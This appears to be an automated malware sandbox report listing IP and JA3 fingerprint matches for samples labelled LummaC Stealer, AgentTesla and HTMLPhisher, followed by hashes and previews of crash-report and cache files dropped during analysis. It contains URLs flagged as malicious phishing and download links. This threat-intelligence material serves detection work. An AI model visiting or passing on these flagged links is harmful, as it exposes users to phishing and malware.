	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse	20.233.83.145
	.akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	52.225.206.143
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	20.95.49.255
	jew.x86.elf	Get hash	malicious	Unknown	Browse	52.125.178.53
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	207.46.5.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://jet.cloudhostingworks.com/CetQr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	13.107.246.63
	https://dsbemcm.r.us-east-1.awstrack.me/L0/https:%2F%2Fmondialrelay-fr.pdfing.ai%2F/1/0100019399661370-1ce77c65-1b81-4233-8a20-5a39fd0f0317-000000/J1Yr9vKfHbZhazSj6gj8UC7ow80=403	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://drive.usercontent.google.com/u/0/uc?id=1-lzlsIQVVFZj1nVUNs7vmgIfcVZr8ZT3&export=download	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://wdurl.ru/4mA#yml4dckta8ps5sz	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://t.ly/alBFX	Get hash	malicious	Unknown	Browse	13.107.246.63
	#U25b6#Ufe0fPlayVoiceMessage9266.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://jet.cloudhostingworks.com/CetQr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
3b5074b1b5d032e5620f69f9f700ff0e	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	980001672 PPR for 30887217.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	IFhqcKaIol.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\recover\Qt5Core.dll	az10.exe	Get hash	malicious	Unknown	Browse
	Update_4112024.exe	Get hash	malicious	Unknown	Browse
	Update_4112024.exe	Get hash	malicious	Unknown	Browse
	PyQtScrcpy.exe	Get hash	malicious	Unknown	Browse
	PyQtScrcpy.exe	Get hash	malicious	Unknown	Browse
	active.exe	Get hash	malicious	Unknown	Browse
	PumpBotPremium.msi	Get hash	malicious	Python Stealer	Browse
	Bypass Apk.exe	Get hash	malicious	Unknown	Browse
	Bypass Apk.exe	Get hash	malicious	Unknown	Browse
	https://github.com/VioletteChiara/AnimalTA/releases/download/v3.2.2/AnimalTA_installer_v3.2.2.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_olx.exe_136a52e6f88917067a5e255f38fdca4229cea_66fdcd88_691cc98c-5f17-4961-9b32-088a86131adf\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8508915735123904
Encrypted:	false
SSDEEP:	192:8AiUXa6owU0ukc64MjagFzuiF0Z24lO83:TiCaNAukc67j3zuiF0Y4lO83
MD5:	668F070A472CC3138689179562803D9F
SHA1:	0142DD600388F6AA1793AA38F87AF6DBA7EB384F
SHA-256:	556C603F22032AF7F1721E569EE9274E33CADA1A21ECD60047882F2A0029B61B
SHA-512:	B234BC26E39226A7FAF7A0904F91E9D0A34DEA07B98503DACC1D04B19E29022705CEEC79C01015D3CF33E0280BB483E17220A68253D5D78E8B7719FB60A0F927
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.9.7.0.3.9.6.0.5.8.5.5.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.9.7.0.3.9.6.7.3.8.5.8.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.1.c.c.9.8.c.-.5.f.1.7.-.4.9.6.1.-.9.b.3.2.-.0.8.8.a.8.6.1.3.1.a.d.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.6.a.a.3.3.f.a.-.e.8.9.3.-.4.7.0.9.-.8.c.b.3.-.e.5.7.9.8.0.b.4.0.1.1.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.o.l.x...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.b.a.l.s.a.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.5.0.-.0.0.0.1.-.0.0.1.4.-.d.0.1.5.-.b.b.9.3.e.e.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.3.d.f.7.4.5.9.8.a.3.e.e.f.5.4.c.2.6.e.2.c.f.6.3.5.7.1.e.4.9.8.0.0.0.0.0.9.0.4.!.0.0.0.0.f.f.1.9.9.8.5.b.6.1.2.6.5.c.3.f.b.a.5.7.2.b.a.e.e.6.e.c.5.e.f.2.1.2.2.1.5.0.2.c.!.o.l.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_olx.exe_136a52e6f88917067a5e255f38fdca4229cea_66fdcd88_ab51e1d3-555c-493a-a538-b0db9ad968be\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8437522428481303
Encrypted:	false
SSDEEP:	192:5qICi4XaiwU0ukc64Mj5ZUzuiF0Z24lO83c:5DCieaiAukc67jUzuiF0Y4lO83
MD5:	E3647A1D242B6B786112EC31B5F27935
SHA1:	84BC26F80F8FA810A3132D24D1DEE9A430B76D36
SHA-256:	213346822ADCDE6EC503654CC8793FE488348868722A7B5FF19A866AE4505CD5
SHA-512:	26970CC6FD48D1AA4A3D4222601B3D575B830313EA7E051C8188C204850345D3257B05FE169F66049E1D996BC36FDDBFCDDBC4E023B3897EADBD7622B17EC434
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.9.7.0.4.0.5.5.5.3.8.1.6.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.9.7.0.4.0.5.9.5.3.2.6.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.b.5.1.e.1.d.3.-.5.5.5.c.-.4.9.3.a.-.a.5.3.8.-.b.0.d.b.9.a.d.9.6.8.b.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.f.c.9.c.b.b.4.-.1.a.a.e.-.4.2.1.e.-.9.a.f.b.-.7.4.a.3.2.5.a.3.5.5.3.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.o.l.x...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.b.a.l.s.a.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.7.c.-.0.0.0.1.-.0.0.1.4.-.c.3.2.6.-.b.d.9.9.e.e.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.3.d.f.7.4.5.9.8.a.3.e.e.f.5.4.c.2.6.e.2.c.f.6.3.5.7.1.e.4.9.8.0.0.0.0.0.9.0.4.!.0.0.0.0.f.f.1.9.9.8.5.b.6.1.2.6.5.c.3.f.b.a.5.7.2.b.a.e.e.6.e.c.5.e.f.2.1.2.2.1.5.0.2.c.!.o.l.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD48A.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 6 14:53:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	67066
Entropy (8bit):	1.527230424597038
Encrypted:	false
SSDEEP:	192:1UQCOvYNtKpb8O7k2skYp38flyvrR96VGA2gmyQ5qRdaAV:OXOvYNtKpbzQ2skYJ82N96XmyQEas
MD5:	62FCE7D2DD80AE22238F20F158A04DE9
SHA1:	4C5652CF7BD0EDEEE37383393CAA7F3D21010323
SHA-256:	30B8981504A536BDC41D8E5BFA34A0AE41860E0E72BDCC503A899CA73C102A87
SHA-512:	872472444DCE1D0C933651C9F395EB8F30CE3DDB1384AC4D6656B149D871A2AE7C6E3BE70BCC4B0770BFAB1B0FF9CE0F44175B2216243E4FC1E4849825FC54C9
Malicious:	false
Preview:	MDMP..a..... .........Sg........................4................5..........T.......8...........T...........h...........................................................................................................eJ..............Lw......................T.......P.....Sg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD611.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6584
Entropy (8bit):	3.71556181279865
Encrypted:	false
SSDEEP:	192:R6l7wVeJwbWFvuHWYtv7XpDZ89bfhZfN1m:R6lXJFNYNgfvfe
MD5:	E6205CE4778F5476E163B38C774F80E1
SHA1:	CB65EA4B4AF8F1959400D93CB78328D77BEF8F92
SHA-256:	244A97F88D7375CF4217D0C17F03E6EEC58FED1C5C24DBCE5B6DA89085B0CE11
SHA-512:	2ACC2F4F95650FDACDB18B79A31E59C5BAA548EB1C20D55CE06712DBD3B6138F1C02DC72F32998EB2532BEE1525E42526B87DEEB7A0EC7C70E264185F4C5ACE0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD680.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4810
Entropy (8bit):	4.443978622974794
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZNJg771I9FiWpW8VYGYm8M4JE0IzFJyq8vU0II6v6DvVDwMed:uIjfRI72j7VyJtiWd96v6DvVLed
MD5:	E4F7F94431AEC2BE1ECF3A38F7190C66
SHA1:	69B1A53B52030EA21C74F84A1585C75AF2465602
SHA-256:	C8FA4E92567BF01DC259F5382B496B5EF69EA799B40B2122D9CA31C04A59E47C
SHA-512:	DB4EFF2977C86335B6AAD68DBB4F6C79B54105CEE45F5E362A119036EBB8DEB121803E2534E321778E5B78E4E7D7573B434CB478EE1D39A5D2178829137B4E93
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="619555" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF9C5.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 6 14:53:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	68008
Entropy (8bit):	1.503315659929524
Encrypted:	false
SSDEEP:	192:IZ63QrqtRVOHkW3mO83qrHWVcnugXVqhIL40o7BA:P3QrqtWEW3mOAqLtHXghI7olA
MD5:	E9A3598490DF5B63758CB456E0496B86
SHA1:	3AD155F62860AF31A32EAB131D35A149E5B14073
SHA-256:	5D80AC459171D7C2814824A72268F85DA1879AC8F53C18DE759EF26379B09813
SHA-512:	C14C597E20537409B1400DE90975CA99106EA9BA9AB6BF4144797AF608D478C6D3C1E897A8F6CCE04306814B8B08E1AA793B1349CBB428A52CEE9DCB384A5D9F
Malicious:	false
Preview:	MDMP..a..... .........Sg........................................:5..........T.......8...........T.......................................................................................................................eJ..............Lw......................T.......\|.....Sg............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFA24.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8614
Entropy (8bit):	3.6929844926838955
Encrypted:	false
SSDEEP:	192:R6l7wVeJLn1sM6YNm8Ogmftv7XpD789bn5Zf0Kntm:R6lXJ71sM6YM8OgmfNqnXfxw
MD5:	2364B4233515DB0C371BF6964E36F996
SHA1:	BB6FD948F7EB4CF0FD54361852B3058584280454
SHA-256:	F5A69D0660222E07270E9EEC1D718961D994526CBC27BFC65C351539B13D12DB
SHA-512:	8B42A65E0819D998623ADF140B58300F9BD4409D44C323D848E100C18B091C33A4F7104E55639AFEF6CD7854FA202681AC4C256773184BCBFE178845A0ED6C1B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.4.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFA63.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4810
Entropy (8bit):	4.44336513650962
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZcJg771I9FiWpW8VY3Ym8M4JE0IzFzKyq8vU0IJv6DvVtd:uIjfoI72j7VnJtiKWd4v6DvVtd
MD5:	E4791C083D5329D573EC9611A16B81B1
SHA1:	DCDFBF1E0D735247BA18444B78635A3DDE096937
SHA-256:	AA5AAA08653C7F5B9B41FDCCAB81857737BB69B63A61C76D8AACA948FFF6FD73
SHA-512:	4A668AC7BAF0B01B60899E4294483F132B7BA22B68432897670916872F7355808BDEA1C183AF11CCBF590AD38357A295804D53FE26AB622D69B4119E9239A6DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="619556" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AddInProcess32.exe.log

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.363435887027673
Encrypted:	false
SSDEEP:	6:Q3La/xwcz92W+P12MUAvvr3tDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hz92n4M9tDLI4MWuPTAv
MD5:	A92E44C0313DAFEC1988D0D379E41A2F
SHA1:	C2F5644C418A81C1FB40F74298FF39D1420BFAC0
SHA-256:	F3F3E681BE07C36042639B1679ACF8B2D23BE037713D5E395C48006840DBE77A
SHA-512:	4F32FE6F35FC6EB4D4CF41EDEDE3C6B3FDFE31E58DA6FC7B301B1EBD3FBEEE64681C928B45E87CD556A1D32D32CB5932764EAB22FFEE11E42B8D5EB0DCFDC22C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\AC\INetCache\ND4XU4DC\configuration[1].xml

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1520
Entropy (8bit):	5.0183726539703795
Encrypted:	false
SSDEEP:	24:2dzI4+uTOBzpoD2h9f0lM702X9bh9q02Xiwqh9U02XiSbh9Uydq2X4h9Uy72Xyh2:cK88z2D2ff97DtbfqDtqfUD9bfUywBfW
MD5:	E72FC6D9DAF66E2D8BC9FE37BE8CE4D8
SHA1:	667F95190910D5841E4531330001423CBB8E2030
SHA-256:	B5CCAFA927AF87CEA7E85A2D197C2E841E557B87900665C12FA6F8059B8B9356
SHA-512:	5D56979DBDB586601570DB6AEE666EA1DF489F3EB25285DEDC4A216834955E590158058D6B0C23D084C6C059AD91CF7B7FC32436E572693A96527F3D6E14160C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<clientConfiguration xmlns="http://schemas.microsoft.com/XblWinClient/2012/03" version="1">.. <targetedClient>XblWinClient</targetedClient > .. <rights>Copyright (c) Microsoft Corporation. All rights reserved.</rights>.. <configuration name="Playback" minBuild="16122.1018">.. <property name="UseAdaptiveMediaSourcePercent" value="50" type="int32"/>.. <property name="UseDashContentForMBRSourcePercent" value="100" type="int32"/>.. </configuration>.. <configuration name="Playback" minBuild="16122.1018" maxBuild="17032.1033">.. <property name="UseDashContentForMBRSourcePercentBeforeRS2" value="0" type="int32"/>.. </configuration>.. <configuration name="Playback" minBuild="17032.1034">.. <property name="UseDashContentForMBRSourcePercentBeforeRS2" value="100" type="int32"/>.. </configuration>.. <configuration name="Groveler" minBuild="17063.0" maxBuild="17082.9999">..

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4761 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4761
Entropy (8bit):	7.945585251880973
Encrypted:	false
SSDEEP:	96:6ZUpZsm0HwZ8FLSeXs+aiL9qcZ7KtlAD1GlNHgdkVI5F11AcNmwkVFzGz6ENhZC7:62T0QOLl8vAqcZ7K3AUNAdx5FAx9VEOj
MD5:	77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA1:	9E98ACE72BD2AB931341427A856EF4CEA6FAF806
SHA-256:	5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
SHA-512:	3537DA5E7F3ABA3DAFE6A86E9511ABA20B7A3D34F30AEA6CC11FEEF7768BD63C0C85679C49E99C3291BD1B552DED2C6973B6C2F7F6D731BCFACECAB218E72FD4
Malicious:	false
Preview:	MSCF............,...................O..................YWP .disallowedcert.stl.lJ..B...CK.wTS.....{.&Uz.I."E".HS@. .P.!.....E. .DQ..... EDA.H. E..""/.s<.s.9.....&#.{~k.VV..7@......b.R....MdT..B.L..%.C......" ....%.4%..%.B..T.d...S.....pem..$....&.q.`.+...E..C.....$.\|.A.!~d.H>w%S$...QC't..;..<..R@....2. .l..?..c..A....Ew...l..K$.. ~...'......Mt^c..s.Y%..}......h......m....h.......~d...,...=ge3.....2%..(...T..!].....!C~.X..MHU.o[.z].Y...&lXG;uW.:...2!..][\/.G..]6#.I...S..#F.X.k.j.....)Nc.].t^.-l.Y...4?.b...rY....A......7.D.H\.R...s.L,.6.\|.....VQ....<........... [Z....].N0LU.X........6..C\....F.....KbZ..^=.@.B..MyH...%.2.>...]..E.....sZ.f..3z.].Y.t.d$.....P...,. .~..mNZ[PL.<....d..+...l.-...b.^....6F..z.&.;D.._..c."...d..... k9....60?&..Y.v.dgu...{.....{..d=..$......@^..qA..*uJ..@W.V..eC..AV.e+21...N.{.]..]..f]..`Z.....]2.....x..f..K...t. ...e.V.U.$PV..@6W\_nsm.n.........A<.......d....@f..Z... >R..k.....8..Y....E>..2o7..........c..K7n....

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	3.5174709540982048
Encrypted:	false
SSDEEP:	6:kKab3C8eEG7DNfUN+SkQlPlEGYRMY9z+s3Ql2DUeXJlOW1:Sb3CvLkPlE99SCQl2DUeXJlOA
MD5:	881D053102A57F7B94830B6408EAA9F9
SHA1:	AD4A71149579EAA8EAEEB80F5620C33E163A1490
SHA-256:	A6C4727AA46DBCA7DC2410B0960EEA10C734719F280B0546A72437E0BC0DF24D
SHA-512:	86F7F1DC14E6017E0E2E280995D502561FD797F10E9B2B5A9A47E98EC39C5339294E1AF7B22A6403B11D336E8C190E39044844C7CC0A29EEBB351F849F006430
Malicious:	false
Preview:	p...... ........#k...G..(..................................................tH.. ........~..MG......&.....6.........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".0.6.c.f.c.c.5.4.d.4.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalCache\PlayReady\Cache\msprcore.bla

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	5113
Entropy (8bit):	6.058217859846823
Encrypted:	false
SSDEEP:	96:wHljJi/7HJVZE4yVY4BNMYVUXiksiGAshzcEenlY/v3QZMhMKUVeK:Ql27HCbq8LQifiDd0K
MD5:	D79BEA09E20A94B81B015AF495921C20
SHA1:	89DD803115A1073BB33938DB2915322A279CB4E7
SHA-256:	F466742383A10A5CD53CF1AE2B12DE637AA1D7486C0B2CE5822A4821D9F03FD9
SHA-512:	F2C868797D6001C068C3550A526C5475D438F2D2DEEAA03F90B9D5F1E4124FE9DDD9E1F01DE0A3669C6A479D3C44A26A90542231D01D40014796E4763D5C512B
Malicious:	false
